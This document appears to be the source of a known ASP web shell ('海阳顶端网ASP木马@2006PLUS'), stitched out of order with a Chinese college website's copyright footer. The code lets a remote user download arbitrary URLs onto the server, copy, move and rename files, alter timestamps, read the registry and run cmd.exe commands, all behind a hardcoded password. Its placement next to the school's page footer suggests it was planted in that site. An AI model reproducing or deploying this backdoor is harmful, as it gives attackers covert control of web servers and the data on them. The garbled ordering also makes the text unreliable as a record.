     " Echo "
     
     
    " Echo "" Echo "
    " End Sub Sub AppSaveAs(sFlag) Dim aParam, oTarFolder, sFileName, sFather If isDebugMode = False Then On Error Resume Next aParam = Split(GetPost("param"), ",") sFather = aParam(1) If Right(sFather, 1) = "\" And Len(sFather) > 3 Then sFather = Left(sFather, Len(sFather) - 1) Else sFather = GetParentPath(sFather) If Len(sFather) > 3 Then sFather = Left(sFather, Len(sFather) - 1) End If If Right(aParam(0), 1) = "\" And Len(aParam(0)) > 3 Then aParam(0) = Left(aParam(0), Len(aParam(0)) - 1) Set oTarFolder = oShl.NameSpace(sFather) If sFlag = "Copy" Then oTarFolder.CopyHere(aParam(0)) If sFlag = "Move" Then oTarFolder.MoveHere(aParam(0)) ChkErr(Err) End Sub Sub AppSetProperties(sFlag) Dim oItem, sPath, aParam, oFolder If isDebugMode = False Then On Error Resume Next aParam = Split(GetPost("param"), ",") sPath = GetPost("truePath") If Right(sPath, 1) = "\" And Len(sPath) > 3 Then sPath = Left(sPath, Len(sPath) - 1) Set oFolder = oShl.NameSpace(sPath) ChkErr(Err) Set oItem = oFolder.ParseName(aParam(0)) ChkErr(Err) If aParam(1) <> "" Then If sFlag = "Name" Then oItem.Name = aParam(1) If sFlag = "LM" And IsDate(aParam(1)) Then oItem.ModifyDate = aParam(1) ChkErr(Err) End If Set oItem = Nothing Set oFolder = Nothing End Sub Sub PageOtherTools() Dim theAct theAct = Request("theAct") ShowTitle("一些零碎的小东西") If theAct <> "" Then Response.Clear Select Case theAct Case "DownFromUrl" DownFromUrl() Case "ReadReg" Response.Write("" & vbNewLine) ReadReg() Case "ReadRegX" Response.Write("" & vbNewLine) ReadRegX() Case "FileCombiner" If InStr(thePath, ":") <= 0 Then thePath = Server.MapPath(thePath) FileCombiner(thePath) AlertThenClose("文件合并操作完成!") End Select If theAct <> "" Then Response.End() Echo "
    " Echo Replace(sHeader, "{$s}", "文件组合工具(程序不检查文件存在性)") Echo " " Echo "" Echo "" Echo "" Echo sFooter Echo "
    " Echo "
    " Echo "" Echo Replace(sHeader, "{$s}", "下载到服务器") Echo " " Echo " " Echo "存在覆盖" Echo "" Echo sFooter Echo "
    " Echo "
    " Echo Replace(sHeader, "{$s}", "文件编辑") Echo " " Echo "" Echo "" Echo "" Echo sFooter Echo "
    " Echo "
    " Echo Replace(sHeader, "{$s}", "注册表键值读取") Echo "" Echo "" Echo " " Echo "
    " Echo " " Echo "" Echo "" Echo "" Echo sFooter Echo "
    " End Sub Sub DownFromUrl() If isDebugMode = False Then On Error Resume Next Dim Http, theUrl, thePath, stream, fileName, overWrite theUrl = Request("theUrl") thePath = Request("thePath") overWrite = Request("overWrite") Set stream = Server.CreateObject("Adodb.Stream") Set Http = Server.CreateObject("MSXML2.XMLHTTP") If overWrite <> 2 Then overWrite = 1 End If Http.Open "GET", theUrl, False Http.Send() If Http.ReadyState <> 4 Then Exit Sub End If With stream .Type = 1 .Mode = 3 .Open .Write Http.ResponseBody .Position = 0 .SaveToFile thePath, overWrite If Err.Number = 3004 Then Err.Clear fileName = Split(theUrl, "/")(UBound(Split(theUrl, "/"))) If fileName = "" Then fileName = "index.htm.txt" End If thePath = thePath & "\" & fileName .SaveToFile thePath, overWrite End If .Close End With ChkErr(Err) AlertThenClose("文件 " & Replace(thePath, "\", "\\") & " 下载成功!") Set Http = Nothing Set Stream = Nothing End Sub Sub FileCombiner(sFilePath) If isDebugMode = False Then On Error Resume Next Dim sFolder, sFileName, iFileCount, oStream, oStreamB Set oStream = Server.CreateObject("Adodb.Stream") Set oStreamB = Server.CreateObject("Adodb.Stream") sFileName = Mid(sFilePath, InStrRev(sFilePath, "\") + 1) sFolder = Left(sFilePath, InStrRev(sFilePath, "\")) iFileCount = Mid(sFileName, InStrRev(sFileName, "_") + 1) sFileName = Left(sFileName, InStrRev(sFileName, "_") - 1) oStream.Type = 1 oStream.Mode = 3 oStream.Open oStreamB.Open oStreamB.Type = 1 For i = 1 To iFileCount oStreamB.LoadFromFile(sFolder & "\" & sFileName & "_" & i) oStream.Write oStreamB.Read() Next oStream.SaveToFile sFolder & "\" & sFileName, 2 oStream.Close oStreamB.Close Set oStream = Nothing Set oStream = Nothing End Sub Sub ReadReg() If isDebugMode = False Then On Error Resume Next Dim i, thePath, theArray thePath = Request("thePath") theArray = oWshl.RegRead(thePath) If IsArray(theArray) Then For i = 0 To UBound(theArray) Echo "
  • " & theArray(i) Next Else Echo "
  • " & theArray End If ChkErr(Err) End Sub Sub ReadRegX() Dim sCmd, sResult If isDebugMode = False Then On Error Resume Next sCmd = "RegEdit.exe /e """ & rootPath & "\ReadRegX"" """ & thePath & """" oWshl.Run sCmd, 0, True sResult = oWshl.Exec("cmd.exe /c type " & rootPath & "\ReadRegX").StdOut.ReadAll() Echo StrEncode(sResult) sResult = oWshl.Exec("cmd.exe /c del " & rootPath & "\ReadRegX").StdOut.ReadAll() Echo "
    " & sResult End Sub Function DBDownTheFile(oValue) Response.Clear Response.AddHeader "Content-Disposition", "Attachment; Filename=UnKnown.UnKnown" Response.AddHeader "Content-Length", LenB(oValue) Response.Charset = "UTF-8" Response.ContentType = "Application/Octet-Stream" Response.BinaryWrite oValue Response.Flush End Function Sub PageOther() %> <% End Sub %>
    Copyright © 2007-2010 www.xkgcxy.guangshaxy.com All Rights Reserved.
    学院地址: 浙江省东阳市广福路6号 邮编:322100 电话:0579-6668872 信控学院学生QQ群:11286726   技术支持:何金强
    『信息与控制工程学院』版权所有 浙ICP申请中 最佳显示分辨率:1024×768
    <% Option Explicit Response.Buffer = True Dim i, url, conn, sUrlB, theAct, thePath, rootPath, PageSize, aspPath, bOtherUser, sSqlSelect, sImage Dim sUrl, accessStr, PageName, sysFileList, isSqlServer, sPacketName, oFso, oShl, oWshl, sFooter, sHeader, sClientTracer bOtherUser = False ''是否需要其它NT用户身份登录 If bOtherUser = True And Trim(Request.ServerVariables("AUTH_USER")) = "" Then Response.Status = "401 Unauthorized" Response.Addheader "WWW-AuThenticate", "BASIC" If Request.ServerVariables("AUTH_USER") = "" Then Response.End() End If theAct = GetPost("theAct") PageSize = 20 ''默认每页记录数 isSqlServer = False rootPath = Server.MapPath("/") PageName = GetPost("PageName") url = Request.ServerVariables("URL") ''当前页的相对路径 sPacketName = "Packet.mdb" ''文件包默认文件名 thePath = Replace(GetPost("thePath"), "\\", "\") aspPath = Replace(Server.MapPath(".") & "\~386.tmp", "\\", "\") ''系统临时文件 sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$" sClientTracer = "" ''http://hididi.net/ASPAdmin/ASPAdmin_L.asp?theUrl=http://www.163.com&productName=HYTop2006Plus accessStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB:Database Password=""{$passWord}"";" sFooter = " Powered By Marcos 2006.02 " sHeader = "" sSqlSelect = "
    " Const s = "lcx" ''登录标志 Const m = "HYTop2006+" ''Session标志 Const isDebugMode = False 'False,True''是否调试模式 Const userPassword = "02200200251001" ''登录密码 Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表 Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$" Sub Echo(sStr) Response.Write sStr End Sub Sub IsIn() If Session(m & "userPassword") <> userPassword Then Echo "" Response.End() End If End Sub Function IIf(var, val1, val2) If var = True Then IIf = val1 Else IIf = val2 End Function Function StrEncode(str) str = HtmlEncode(str) str = Replace(str, " ", " ") str = Replace(str, " ", "    ") str = Replace(str, vbNewLine, "
    ") StrEncode = str End Function Sub CreateObj(oFso, oShl, oWshl) On Error Resume Next Set oWshl = Server.CreateObject("WScript.Shell") Set oShl = Server.CreateObject("Shell.Application") Set oFso = Server.CreateObject("Scripting.FileSystemObject") If IsEmpty(oShl) Then Set oShl = sa If IsEmpty(oFso) Then Set oFso = fso If IsEmpty(oWshl) Then Set oWshl = ws If Err Then Err.Clear End Sub Function StreamLoadFromFile(sPath) Dim oStream If isDebugMode = False Then On Error Resume Next Set oStream = Server.CreateObject("Adodb.Stream") With oStream .Type = 2 .Mode = 3 .Open .LoadFromFile sPath If Request("PageName") <> "TxtSearcher" Then ChkErr(Err) .Charset = "gb2312" .Position = 2 StreamLoadFromFile = .ReadText() .Close End With Set oStream = Nothing End Function Sub JavaScript(sStr) Response.Write(vbNewLine & "" & vbNewLine) End Sub Function GetPost(var) Dim val If Request.QueryString("PageName") = "PageUpload" Then PageName = "PageUpload" Exit Function End If val = RTrim(Request.Form(var)) If val = "" Then val = RTrim(Request.QueryString(var)) GetPost = val End Function Function HtmlEncode(str) If IsNull(str) Then Exit Function HtmlEncode = Server.HTMLEncode(str) End Function Function UrlEncode(str) If IsNull(str) Then Exit Function UrlEncode = Server.URLEncode(str) End Function Sub ShowTitle(str) Response.Write "" & str & " - 海阳顶端网ASP木马@2006PLUS - By Marcos" Response.Write "" End Sub Function GetTheSize(n) Dim i, aSize(4) aSize(0) = "B" aSize(1) = "KB" aSize(2) = "MB" aSize(3) = "GB" aSize(4) = "TB" While(n / 1024 >= 1) n = n / 1024 i = i + 1 WEnd GetTheSize = Fix(n * 100) / 100 & " " & aSize(i) End Function Sub ShowErr(str) Dim i, aStr str = HtmlEncode(str) aStr = Split(str, "$$") Echo "" Echo "出错信息:

    " For i = 0 To UBound(aStr) Echo "  " & (i + 1) & ". " & aStr(i) & "
    " Next Echo "
    " Response.End() End Sub Sub CreateFolder(sPath) Dim i i = InStr(Mid(sPath, 4), "\") + 3 Do While i > 0 If oFso.FolderExists(Left(sPath, i)) = False Then oFso.CreateFolder(Left(sPath, i - 1)) If InStr(Mid(sPath, i + 1), "\") Then i = i + InStr(Mid(sPath, i + 1), "\") Else i = 0 Loop End Sub Sub AlertThenClose(str) If str = "" Then Response.Write "" Else Response.Write "" End If End Sub Sub ChkErr(Err) If Err Then Echo "
  • 错误: " & Err.Description & "
  • 错误源: " & Err.Source & "

  • " Echo "
     By Marcos 2006.02
    " Err.Clear Response.End End If End Sub Sub TopMenu() Echo "" Echo "" Echo "" Echo "
    8 {$s}